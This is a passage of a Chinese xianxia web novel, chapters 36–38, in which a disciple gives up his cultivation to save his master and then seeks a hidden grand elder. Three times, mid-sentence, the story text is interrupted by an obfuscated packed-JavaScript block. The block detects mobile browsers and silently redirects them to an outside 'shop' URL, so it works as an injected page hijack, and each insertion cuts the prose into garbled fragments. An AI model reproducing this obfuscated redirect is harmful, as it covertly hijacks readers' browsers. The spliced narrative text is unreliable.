这一次,他一定要保护好这个人。 不管付出什么代价。 从山洞出来,林知白开始四处寻找救清虚子的办法。 他翻遍藏经阁,问遍所有师兄,终于在一个古籍里找到一条记载—— “至阴之体可固封印,亦可渡修为。若渡者真心,可救将死之人。” 林知白看着那行字,心跳快了。 渡修为。 用他的修为,救师尊的命。 他愿意。 但他不知道,渡修为的过程,可能会让他变成废人。 他不知道,清虚子如果知道,绝不会同意。 36. 第 36 章 从山洞出来,天已经快亮了。 林知白站在洞口,深吸一口气。清晨的山风带着露水的凉意,吹在脸上,让他清醒了一点。 他回头看了一眼里面的昏黄灯光。 师尊还在里面。 那个为了他,宁愿自己死的人。 “宿主。”小污的声音响起,带着一丝担忧,“你真要去找办法?” 林知白点点头。 “你知道去哪儿找吗?” 林知白想了想。 “藏经阁。”他说,“那里应该有古籍。” 小污沉默了一秒。 “藏经阁是仙门重地,没有掌门口令,谁都不能进。” 林知白愣了一下。 “那怎么办?” “本系统也不知道。”小污说,“但本系统知道,清远师兄应该有办法。” 林知白的眼睛亮了。 对,大师兄。 他转身就往回跑。 清远的房间在一座小院里,门口种着一片翠竹。林知白敲门的时候,天刚蒙蒙亮。 门开了。 清远披着外衣,一脸惊讶。 “小师弟?这么早?” 林知白喘着气。 “大师兄,我有事求你。” 清远看着他,愣了一下,然后让开身。 “进来说。” 房间里点着一盏灯,昏黄的光照着两个人的脸。 林知白把事情说了一遍——师尊的情况,古籍的记载,他想进藏经阁的念头。 清远听完,沉默了。 很久之后,他叹了口气。 “小师弟,你知道你在说什么吗?” 林知白点点头。 “渡修为救师尊,可能让你变成废人。” 林知白又点点头。 “你知道还去?” 林知白看着他,眼神认真。 “大师兄,师尊为了我,连命都可以不要。”他说,“我为他做这点事,算什么?” 清远看着他,看了很久。 然后他笑了。 “你这个人……”他摇摇头,“和师尊真像。” 他站起来,从柜子里拿出一块玉牌。 “这是我的令牌。”他说,“可以进藏经阁第一层。再往上的楼层,需要更高的权限,我帮不了你。” 林知白接过玉牌,握在手心。 “谢谢大师兄。” 清远摆摆手。 “快去快回。”他说,“别让人看见。” 林知白点点头,转身就跑。 身后,清远看着他的背影,又叹了口气。 “两个傻子。”他说。 藏经阁在仙门最高的山峰上,九层高塔,直插云霄。 林知白到的时候,天已经大亮了。守阁弟子看见他的令牌,没多问,直接放行。 走进藏经阁,一股陈旧的书卷气扑面而来。 第一层全是普通的功法秘籍,林知白扫了一眼,直接往二楼走。 二楼也是普通的典籍。 三楼、四楼、五楼——全是些炼丹、炼器的书。 林知白越走越急。 师尊等不了太久。 他必须尽快找到。 “宿主。”小污的声音响起,“你这样乱找没用。古籍记载这种东西,一般在高层。” 林知白抬头看了看。 上面还有四层。 “六楼需要什么权限?” “长老级别。”小污说。 林知白沉默了。 他只有大师兄的令牌,到不了六楼。 怎么办? 他站在楼梯口,脑子飞快转着。 “宿主。”小污突然说,“有人来了。” 林知白心里一紧,闪身躲进旁边的书架后面。 脚步声由远及近。 两个人影从楼上下来,边走边说话。 “……掌门这次是真急了。封印撑不了多久,必须尽快加固。” “可清虚子死活不同意,他那个徒弟就那么重要?” “谁知道呢。反正掌门说了,再给他三天时间。三天后,不管他同不同意,都要用那个徒弟加固封印。” 林知白的心沉了下去。 三天。 掌门只给师尊三天时间。 脚步声渐渐远去。 林知白从书架后面出来,脸色很难看。 “宿主。”小污的声音很轻,“你听见了?” 林知白点点头。 “三天。” “那你还找吗?” 林知白看着通往六楼的楼梯。 咬了咬牙。 “找。” 他往上走。 走到六楼门口,一道光幕挡住了去路。 他把手伸过去,光幕微微一颤,把他弹了回来。 “进不去。”小污说。 林知白看着那道光幕,脑子飞快转着。 然后他想起一个细节。 刚才那两个人下来的时候,身上有什么东西在发光。 令牌。 他们有令牌。 “小污。”他说,“你能模拟令牌的气息吗?” 小污沉默了一秒。 “本系统试试。” 一道微弱的光从林知白身上亮起,慢慢延伸到手上。 他把手再次伸向光幕。 这一次,光幕没有弹开。 他的手穿了过去。 林知白心里一喜,整个人钻了进去。 六楼比下面几层小得多,只有几个书架。林知白快速翻看着,一本一本找。 《仙门秘录》《上古阵法》《灵体修炼》…… 都不是。 他越找越急。 时间一分一秒过去。 不知道过了多久,他的手触到一本破旧的书。 《至阴之体详解》。 林知白的心跳漏了一拍。 他翻开书,一页一页快速浏览。 终于,在最后一页,他找到了那行字—— “至阴之体可固封印,亦可渡修为。若渡者真心,可救将死之人。然渡者修为尽失,终生不得修炼。” 林知白盯着那行字,看了很久。 修为尽失。 终生不得修炼。 他握紧书页的手,微微发抖。 “宿主。”小污的声音轻轻响起,“你看到了?” 林知白点点头。 “你还愿意吗?” 林知白沉默了几秒。 然后他笑了。 “愿意。”他说,“为什么不愿意?” 小污愣住了。 “可你会变成废人——” “废人就废人。”林知白打断它,“师尊活下来就行。” 他把书合上,放回原位。 转身往外走。 走到门口的时候,他停下来。 “小污。” “嗯?” “你说,我是不是很傻?” 小污沉默了一秒。 然后它说:“是挺傻的。” 林知白笑了。 “那就傻吧。” 他推开门,走了出去。 回到山洞的时候,天已经黑了。 清虚子还是坐在那个蒲团上,脸色比早上更苍白了。他看见林知白进来,眼神动了动。 “又来了?” 林知白走过去,在他面前蹲下。 “师尊。”他说,“我找到办法了。” 清虚子愣住了。 “什么办法?” 林知白看着他,一字一字说得很清楚。 “渡修为。”他说,“用我的修为,救你的命。” 清虚子的脸色变了。 “不行。” 林知白早有准备。 “师尊。”他说,“你听我说——” “我说不行。”清虚子打断他,声音重了起来,“你知道渡修为意味着什么吗?你会变成废人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432136|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 永远不能修炼!” 林知白点点头。 “我知道。” “知道你还——” “师尊。”林知白再次打断他,“你为了我,连命都可以不要。我为你做这点事,算什么?” 清虚子看着他,眼眶红了。 “傻孩子。”他说,“我活了几百年,够了。你还年轻——” “不够。”林知白说,“你活了几百年,我认识你才一个月。不够。” 清虚子愣住了。 林知白伸出手,握住他的手。 那只手很凉,很瘦。 但他握得很紧。 “师尊。”他说,“我想让你活着。我想每天早上练功的时候看见你,想每天晚上喝你送的汤,想和你一起坐在无妄崖边看月亮。” 他的眼泪掉下来。 “我不想你死。” 清虚子看着他,看着那张满是泪痕的脸。 很久很久。 然后他叹了口气。 “林知白。”他说,“你知道我为什么喜欢你吗?” 林知白愣住了。 “喜欢?” 清虚子点点头。 “因为你和那个人不一样。”他说,“他什么都听我的,从来不反驳。但你不一样,你有自己的想法,你会坚持,你会……让我没办法拒绝。” 他伸出手,轻轻擦掉林知白脸上的泪。 “好。”他说,“我让你救。” 林知白愣住了。 “真的?” 清虚子点点头。 “但有一个条件。” “什么条件?” 清虚子看着他,眼神认真。 “救完之后,你要好好活着。”他说,“就算不能修炼,也要好好活着。娶妻生子,过普通人的日子。不许寻死,不许难过。” 林知白的眼泪又掉下来。 “我答应你。” 清虚子笑了。 那笑容很淡,但眼睛里全是温柔。 “那就开始吧。” 林知白点点头,在他对面坐下。 两个人面对面,手心相贴。 清虚子闭上眼睛。 林知白也闭上眼睛。 然后他感觉,体内的灵气开始流动,一点一点往外涌。 从手心,渡进清虚子的身体。 很慢,很轻。 但他能感觉到,自己的力气在流失。 修为在流失。 “宿主。”小污的声音轻轻响起,带着一丝哭腔,“你还好吗?” 林知白没说话。 他只是继续渡。 一点一点。 一寸一寸。 不知道过了多久。 他终于睁开眼睛。 清虚子也睁开眼睛。 两个人对视着。 林知白感觉自己的身体轻飘飘的,一点力气都没有。 但他笑了。 “师尊。”他说,“你脸色好多了。” 清虚子的眼眶红了。 他伸出手,把林知白搂进怀里。 “傻子。”他说,“你真是个傻子。” 林知白靠在他肩上,闭上眼睛。 很累。 但他很开心。 窗外,月光很亮。 照进山洞,落在两个人身上。 像一层温柔的光。 三天后,掌门来了。 他站在山洞门口,看着里面抱在一起的两个人。 脸色很难看。 “清虚子。”他说,“封印撑不住了。那个徒弟,该交出来了。” 清虚子站起来,挡在林知白前面。 “他已经是废人了。”他说,“渡不了封印。” 掌门愣住了。 “什么?” 清虚子看着他,一字一字说得很清楚。 “他用自己的修为,救了我的命。现在他修为尽失,终生不得修炼。你想要的至阴之体,已经没了。” 37. 第 37 章 山洞里的空气像是凝固了。 掌门站在洞口,身后跟着几个长老。他们看着清虚子,看着挡在他身后的林知白,表情各异。 “修为尽失?”掌门重复了一遍,声音沉下来,“清虚子,你知道你在说什么吗?” 清虚子没有让开。 “知道。”他说,“他用自己的修为救了我。现在他体内没有一丝灵力,只是个普通人。” 掌门的脸色变了。 他身后的长老们开始窃窃私语。 “至阴之体若是没了修为,就不能加固封印……” “那魔界怎么办?” “清虚子这是要毁了整个仙门吗?” 声音越来越大。 林知白靠在石壁上,感觉自己像是被架在火上烤。 他听见那些话,一句一句,像刀子一样扎进来。 “宿主。”小污的声音轻轻响起,“你还好吗?” 林知白没说话。 他只是看着清虚子的背影。 那背影很瘦,但站得很直。 像一座山。 “掌门。”清虚子开口了,声音平静得没有一丝波澜,“封印的事,我来想办法。但他,你不能动。” 掌门看着他,眼神复杂。 “你想办法?你能想什么办法?” 清虚子沉默了一秒。 然后他说:“用我的命。” 林知白愣住了。 “师尊!” 他想冲上去,但腿软得站不起来。 清虚子回头看了他一眼。 那眼神很温柔,温柔得让林知白想哭。 “别动。”他说,“听话。” 林知白摇摇头。 “不行……” “林知白。”清虚子打断他,“你答应过我什么?” 林知白愣住了。 他想起那天晚上,渡修为之前,清虚子说的条件—— “救完之后,你要好好活着。” 他的眼泪掉下来。 “可是师尊……” “没有可是。”清虚子转回头,看着掌门,“用我的命加固封印,够不够?” 掌门沉默了很久。 他看着清虚子,看着那张苍白的脸,那双坚定的眼睛。 然后他叹了口气。 “清虚子,你知道自己在说什么吗?” “知道。” “你活了八百年,是仙门第一人。你的命,比封印重要。” 清虚子笑了。 那笑容很淡,但眼睛里有一丝光。 “不重要。”他说,“八百年前我就该死了。多活的这些年,都是赚的。” 掌门愣住了。 林知白也愣住了。 八百年前? 他想起清远说过的话——师尊以前不是这样的。他以前很冷,对谁都冷。 那是在那个人死之后。 那个人,是他的第一个弟子。 也是至阴之体。 “掌门。”清虚子继续说,“八百年前,我眼睁睁看着他献祭,什么都做不了。这八百年,我每一天都在后悔。现在,我不想再后悔一次。” 他回头看了一眼林知白。 那一眼里,有温柔,有不舍,还有一丝骄傲。 “他用自己的修为救我,是傻。但我不能让他白救。” 掌门沉默了。 很久很久。 然后他开口了。 “清虚子。”他说,“我给你三天时间。三天内,找到别的办法。找不到,就用你的命。” 他转身离开。 长老们跟在他身后,走出山洞。 脚步声渐渐远去。 山洞里又安静下来。 林知白靠在石壁上,眼泪止不住地流。 清虚子走回来,在他面前蹲下。 “哭什么?”他伸手擦掉林知白的眼泪,“我还没死呢。” 林知白看着他。 “师尊。”他说,声音抖得厉害,“你不会死的。” 清虚子笑了。 “嗯,不会。” “你骗人。”林知白说,“你刚才说要献祭……” “那是没办法的办法。”清虚子打断他,“三天时间,说不定能找到别的办法呢?” 林知白看着他,想从他脸上找到一点希望。 但他找不到。 清虚子的脸色太白了,眼神太平静了。 那是已经做好了准备的眼神。 “宿主。”小污的声音响起,“本系统有个发现。” 林知白心里一动。 “什么?” “古籍里除了渡修为,还记载了另一种方法。”小污说,“用至宝换封印。” 林知白愣住了。 “至宝?” “仙门有一件镇派之宝,叫‘玄天镜’。”小污说,“据说可以镇压一切邪祟。如果能用玄天镜加固封印,就不需要献祭了。” 林知白的心跳快了。 “玄天镜在哪儿?” 小污沉默了一秒。 “在掌门手里。” 林知白的心沉了下去。 掌门。 那个刚才还想抓他去献祭的人。 他会借吗? “小污。”他问,“掌门会借吗?” 小污没说话。 但林知白知道答案。 不会。 “那怎么办?”他问。 小污还是没说话。 林知白靠在石壁上,闭上眼睛。 三天。 只有三天。 他必须想办法。 清虚子看着他,眼神温柔。 “别想了。”他说,“睡一会儿。你累坏了。” 林知白摇摇头。 “我不累。” 清虚子笑了笑,没说话。 他只是伸出手,轻轻摸着林知白的头发。 一下,一下。 很轻,很温柔。 林知白靠在他肩上,不知不觉就睡着了。 醒来的时候,天已经黑了。 林知白发现自己躺在一张石床上,身上盖着清虚子的外袍。 山洞里只有一盏昏黄的灯,照得周围影影绰绰。 清虚子不在。 林知白心里一紧,猛地坐起来。 “师尊?” 没有人回答。 他挣扎着下床,腿还是有点软,扶着石壁往外走。 走出洞口,月光很亮。 清虚子站在不远处的一块大石头上,背对着他,看着远处的山峰。 夜风吹起他的衣袍,整个人像是要飞升而去。 林知白走过去,站在他身边。 “师尊。” 清虚子回过头,看见是他,笑了笑。 “醒了?” 林知白点点头。 “你怎么出来了?外面凉。” 清虚子摇摇头。 “没事。” 两个人就这么站着,看着远处的山峰。 月光很亮,把一切都镀上一层银色。 “林知白。”清虚子突然开口。 “嗯?” “如果……”他顿了顿,“如果我走了,你会怎么办?” 林知白的心抽紧了。 他转过头,看着清虚子。 月光下,那张脸显得格外苍白,但眼睛很亮。 “师尊。”他说,“你不会走的。” 清虚子笑了。 “我是说如果。” “没有如果。”林知白说,“你走了,我就去找你。不管你在哪儿,我都去找你。” 清虚子愣住了。 他看着林知白,看着那张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432137|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年轻的脸上,那认真的眼神。 然后他笑了。 笑得很深,笑得很暖。 “傻孩子。”他说,“你连修为都没了,怎么找我?” 林知白想了想。 “用脚走。”他说,“一步一步走。走到走不动为止。” 清虚子的眼眶红了。 他伸出手,把林知白拉进怀里。 抱得很紧。 “林知白。”他说,声音有点抖,“谢谢你。” 林知白靠在他肩上,没有说话。 他只是想—— 师尊,你等我。 我一定会找到办法。 第二天一早,林知白就出发了。 他去见清远。 “大师兄,你知道玄天镜吗?” 清远正在练剑,听见这话,手顿了一下。 “知道。怎么了?” 林知白把事情说了一遍。 清远听完,沉默了。 很久之后,他开口了。 “小师弟,玄天镜是镇派之宝,掌门不可能借的。” 林知白点点头。 “我知道。” “知道你还问?” 林知白看着他。 “那我求他。”他说,“跪着求,磕头求。求到他答应为止。” 清远愣住了。 他看着林知白,看着那双眼睛里燃烧的东西。 那是他从未见过的东西。 执着。 或者说,疯狂。 “小师弟。”他说,“掌门那个人,心很硬。你求他没用。” 林知白沉默了。 清远看着他,想了想。 “不过……”他说,“有一个人,或许能帮你。” 林知白的眼睛亮了。 “谁?” 清远看了看四周,压低声音。 “太上长老。”他说,“掌门的师尊。他已经闭关三百年了,但如果你能让他出面,掌门不敢不听。” 林知白的心跳快了。 “太上长老在哪儿?” 清远指了指最高的那座山峰。 “无念峰。”他说,“但从没人能上去。结界太强,修为不够,靠近就会被弹开。” 林知白看着那座山峰。 很高,很陡,被云雾缠绕。 “我去。”他说。 清远愣住了。 “你?你修为都没了,怎么去?” 林知白看着他。 “用脚走。”他说,“一步一步走。” 清远张了张嘴,想说什么,但什么都没说出来。 他只是看着林知白转身离开,看着那个单薄的背影一步一步走向无念峰。 “小师弟。”他喃喃道,“你真是……和师尊一模一样。” 林知白走到无念峰脚下的时候,天已经快黑了。 他抬头看着那座山峰,看着那层淡淡的金色光幕。 然后他伸出手,触在光幕上。 一股巨大的力量弹回来,把他震飞出去。 他摔在地上,浑身都疼。 但他爬起来,又走过去。 再一次。 再一次。 再一次。 不知道摔了多少次,他终于爬不动了。 他趴在地上,大口喘气。 “宿主。”小污的声音响起,带着哭腔,“你别这样……” 林知白没说话。 他只是看着那座山峰,看着那道光幕。 然后他笑了。 “小污。”他说,“你说,师尊现在在干什么?” 小污愣住了。 “什么?” “他是不是在等我回去?”林知白说,“他肯定在等我。他每天都会等我。” 他挣扎着爬起来。 “我不能让他等太久。” 38.第 38 章 林知白不知道自己摔了多少次。 他只知道,每一次爬起来,都比上一次更难。 手掌磨破了,膝盖磕烂了,额头上的血流进眼睛,把整个世界染成红色。但他没有停。 他只是一次又一次走向那道光幕,一次又一次被弹飞。 “宿主!”小污的声音带着哭腔,“你别这样!你会死的!” 林知白趴在地上,大口喘气。 他听见小污的声音,但他不想回答。 他只是看着那座山峰,看着那层淡淡的光幕。 很近。 又很远。 “师尊在等我。”他喃喃道,“他每天都在等我。” 他撑着地面,想爬起来。 手一软,又趴了下去。 “宿主!”小污急了,“你已经爬不起来了!你休息一下好不好?就一下!” 林知白摇摇头。 “不行。”他说,“只有两天了。” 他咬着牙,再次撑起身体。 一点一点。 一寸一寸。 终于,他又站了起来。 他摇晃了一下,稳住身形。 然后他再次走向光幕。 伸出手。 触碰。 “轰——” 巨大的力量再次袭来,他像一片落叶般被卷起,重重摔在十几米外的地上。 这一次,他没能立刻爬起来。 他躺在地上,看着夜空。 月亮很亮,星星很多。 真好看。 “宿主……”小污的声音已经很轻了,像是怕惊扰到什么,“你流了好多血……” 林知白没有回答。 他只是看着星空,想着师尊的脸。 那张清冷的脸,那双温柔的眼睛。 “师尊。”他喃喃道,“我可能……回不去了。” 意识开始模糊。 眼皮越来越重。 就在他要闭上眼睛的时候,一个声音响起。 “傻子。” 很轻,很苍老,像是从很远的地方传来。 林知白猛地睁开眼睛。 一个人影站在他面前。 很瘦,很矮,穿着一身破旧的灰色道袍,头发花白,脸上全是皱纹。但那双眼睛,亮得像星星。 “你是谁?”林知白问。 老人低头看着他,眼神复杂。 “你在我门口摔了一夜,问我是谁?” 林知白愣住了。 门口? 他挣扎着抬头看向那座山峰——光幕还在,但面前多了一条小路,一直通向山上。 老人叹了口气。 “三百年了。”他说,“你是第一个敢硬闯的人。” 他弯下腰,把林知白扶起来。 那手很瘦,但很有力。 “走吧。”他说,“跟我上去。” 林知白张了张嘴,想说什么,但什么都说不出来。 他只是被老人扶着,一步一步走上那条小路。 走了很久,他们来到一座小小的草庐前。 很破,很旧,周围种着几棵松树,月光照下来,影影绰绰的。 老人扶他坐下,从屋里端出一碗水。 “喝了。” 林知白接过碗,一口气喝完。 水很凉,但喝下去,身上暖了一点。 “谢谢……”他说,“谢谢前辈。” 老人在他对面坐下,看着他。 “你是清虚子的徒弟?” 林知白愣住了。 “前辈认识师尊?” 老人笑了。 那笑容有点苦涩。 “认识。”他说,“八百年前,他也是我的徒弟。” 林知白的眼睛慢慢睁大。 八百年前。 师尊的第一个弟子。 那个献祭的人。 “你……”他的声音有点抖,“你就是那个……” 老人点点头。 “我就是那个该死没死成的人。”他说,“他们都叫我太上长老,其实我就是个逃兵。” 林知白看着他,不知道该说什么。 老人也看着他,眼神悠远。 “清虚子还好吗?”他问。 林知白摇摇头。 “不好。”他说,“他要死了。” 老人的眼神动了动。 “为什么?” 林知白把事情说了一遍。 从自己的体质说起,到掌门要献祭他,到师尊拒绝,到师尊灵力反噬,到自己渡修为救师尊,到掌门要师尊献祭,到玄天镜。 老人听完,沉默了。 很久很久。 久到林知白以为他睡着了。 然后他开口了。 “你知道我为什么还活着吗?” 林知白摇摇头。 老人看着远处的山峰,眼神变得悠远。 “八百年前,魔界入侵。”他说,“封印要破了。唯一的办法,是让至阴之体献祭加固封印。” 林知白听着,没有说话。 “那个人,是我。”老人继续说,“我是师尊的第一个弟子,也是至阴之体。” 林知白的心跳漏了一拍。 “那时候,清虚子还不是师尊。”老人说,“他只是我的小师弟,刚入门没几年。他什么都不懂,只会跟在我后面叫师兄。” 他笑了笑,笑得很苦涩。 “献祭那天,他哭着求我别去。”他说,“他说他宁愿自己去死,也不想看着我死。” 林知白的眼眶红了。 “后来呢?” “后来我骗了他。”老人说,“我说我去去就回,让他等我。结果我跳进封印,再也没回来。” 他看着自己的手。 “我以为我死了。”他说,“但我没死。封印把我弹了出来,我掉在无念峰下,被师尊救了。师尊用了一半的修为,把我从鬼门关拉回来。” 林知白愣住了。 “那你怎么不回去找师尊?” 老人摇摇头。 “回不去。”他说,“我虽然活了,但已经不是原来的我了。我的修为废了大半,我的脸也毁了。最重要的是,我答应过师尊,这辈子不再见清虚子。” 林知白不懂。 “为什么?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432779|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 老人看着他,眼神复杂。 “因为师尊说,清虚子太在意我了。”他说,“我在,他就永远长不大。只有我消失,他才能真正成为仙门第一人。” 林知白沉默了。 八百年的不见。 八百年的想念。 “前辈。”他开口,“你……想他吗?” 老人的眼眶红了。 他没有回答。 但林知白看见了。 他看见了那双眼睛里,藏了八百年的思念。 “孩子。”老人说,“你来这里,是想让我帮你借玄天镜?” 林知白点点头。 老人沉默了几秒。 然后他站起来。 “走吧。”他说。 林知白愣住了。 “去哪儿?” 老人回头看着他。 “去见掌门。”他说,“八百年了,也该有个了断了。” 林知白的心跳快了。 “前辈,你……” “叫我师伯吧。”老人打断他,“你是清虚子的徒弟,按辈分,该这么叫。” 林知白点点头。 “师伯。” 老人笑了。 那笑容很淡,但眼睛里有什么东西在闪。 “走吧。”他说,“别让清虚子等太久。” 两个人一前一后,往山下走去。 月光很亮,把他们的影子拉得很长。 走到半山腰的时候,老人突然停下来。 他看着远处的山峰,看着那座他住了八百年的无念峰。 “林知白。”他突然开口。 林知白看着他。 “嗯?” “清虚子他……有没有提过我?” 林知白想了想。 “提过。”他说,“他说他有一个师兄,八百年前献祭了。他说那是他这辈子最后悔的事。” 老人的眼眶红了。 “他还说什么?” 林知白看着他,一字一字说得很清楚。 “他说,他宁愿自己死,也不想看着你死。” 老人的眼泪掉下来。 他没有擦,只是站在那里,看着远处的山峰。 很久之后,他笑了。 “傻子。”他说,“还是那个傻子。” 他继续往前走。 林知白跟在后面,没有说话。 但他知道,师伯的心里,一定有很多话想说。 八百年了。 他终于要去见那个人了。 掌门大殿里,灯火通明。 清虚子站在殿中,面对着掌门和各位长老。 “三天期限到了。”掌门说,“清虚子,你找到办法了吗?” 清虚子沉默了一秒。 然后他开口。 “用我的命。” 殿中一片哗然。 就在这时,殿门被推开了。 两个人影走进来。 一个浑身是伤,是林知白。 另一个,是个穿着破旧道袍的老人。 掌门看着那个老人,脸色变了。 “师……师尊?”